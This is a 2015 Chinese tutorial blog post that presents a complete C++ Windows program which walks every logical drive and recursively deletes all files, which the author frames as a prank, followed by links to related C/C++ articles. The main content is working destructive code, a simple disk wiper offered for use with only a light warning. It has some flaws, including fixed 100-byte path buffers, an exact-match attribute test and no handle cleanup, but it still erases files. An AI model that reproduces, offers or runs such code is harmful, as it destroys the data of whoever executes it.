基于Windows API实现遍历所有文件并删除的方法

 更新时间:2015年04月20日 10:26:35   作者:司青  
这篇文章主要介绍了基于Windows API实现遍历所有文件并删除的方法,是win32应用程序的一个比较典型的文件操作应用技巧,需要的朋友可以参考下

本文实例讲述了基于Windows API实现遍历所有文件并删除的方法。分享给大家供大家参考。具体分析如下:

最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了,请大家谨慎使用)...
下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....

#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);
 do
 {
 if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
 {
  continue;
 }
 if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
 {
  sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
  DelFile(cNewPath);//递归
 }
// MessageBox(NULL,data.cFileName,"Look",0);
 sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
 DeleteFile(cFullPath);
 }while(FindNextFile(hFind,&data));
}
int WINAPI WinMain(
 HINSTANCE hInstance,   // handle to current instance
 HINSTANCE hPrevInstance, // handle to previous instance
 LPSTR lpCmdLine,     // command line
 int nCmdShow       // show state
)
{
 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':','\0'};
 for(int ix=0;ix!=32;ix++)
 {
 if(bit.test(ix))
 {
  Path[0]='A'+ix;
  DelFile(Path);
 }
 }
 return 0;
}

希望本文所述对大家的win32程序设计有所帮助。

相关文章

  • C++中的拷贝构造详解

    C++中的拷贝构造详解

    这篇文章主要为大家介绍了C++中的拷贝构造,具有一定的参考价值,感兴趣的小伙伴们可以参考一下,希望能够给你带来帮助
    2022-01-01
  • Linux下使用C/C++进行UDP网络编程详解

    Linux下使用C/C++进行UDP网络编程详解

    UDP 是User Datagram Protocol 的简称,中文名是用户数据报协议,是一种无连接、不可靠的协议,本文主要介绍了如何在Linux下使用C/C++进行UDP网络编程,有需要的可以了解下
    2024-10-10
  • C语言封装函数字符串练习汇总分享

    C语言封装函数字符串练习汇总分享

    这篇文章主要介绍了C语言封装函数字符串练习汇总分享,分享内容有字符串查找、字符串拼接、字符串转整数等内容,需要而小伙伴可以参考一下
    2022-03-03
  • 浅析STL中的常用算法

    浅析STL中的常用算法

    以下是对STL中的常用算法进行了详细的介绍,需要的朋友可以过来参考下,希望对大家有所帮助
    2013-09-09
  • 数据结构课程设计-用栈实现表达式求值的方法详解

    数据结构课程设计-用栈实现表达式求值的方法详解

    本篇文章是对在c语言中用栈实现表达式求值的方法进行了详细的分析介绍,需要的朋友参考下
    2013-05-05
  • C++实现LeetCode(309.买股票的最佳时间含冷冻期)

    C++实现LeetCode(309.买股票的最佳时间含冷冻期)

    这篇文章主要介绍了C++实现LeetCode(309.买股票的最佳时间含冷冻期),本篇文章通过简要的案例,讲解了该项技术的了解与使用,以下就是详细内容,需要的朋友可以参考下
    2021-08-08
  • C语言实现学生成绩等级划分的方法实例

    C语言实现学生成绩等级划分的方法实例

    这篇文章主要给大家介绍了关于C语言实现学生成绩等级划分的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-12-12
  • C++的静态成员变量和静态成员函数详解

    C++的静态成员变量和静态成员函数详解

    这篇文章主要为大家介绍了C++的静态成员变量和静态成员函数,具有一定的参考价值,感兴趣的小伙伴们可以参考一下,希望能够给你带来帮助
    2021-12-12
  • C语言简明讲解类型转换的使用与作用

    C语言简明讲解类型转换的使用与作用

    类型转换(type cast),是高级语言的一个基本语法。它被实现为一个特殊的运算符,以小括号内加上类型名来表示,接下来让我们一起来详细了解
    2022-04-04
  • C++中getline()的用法详解

    C++中getline()的用法详解

    这篇文章主要介绍了C++中getline()的用法详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-02-02

最新评论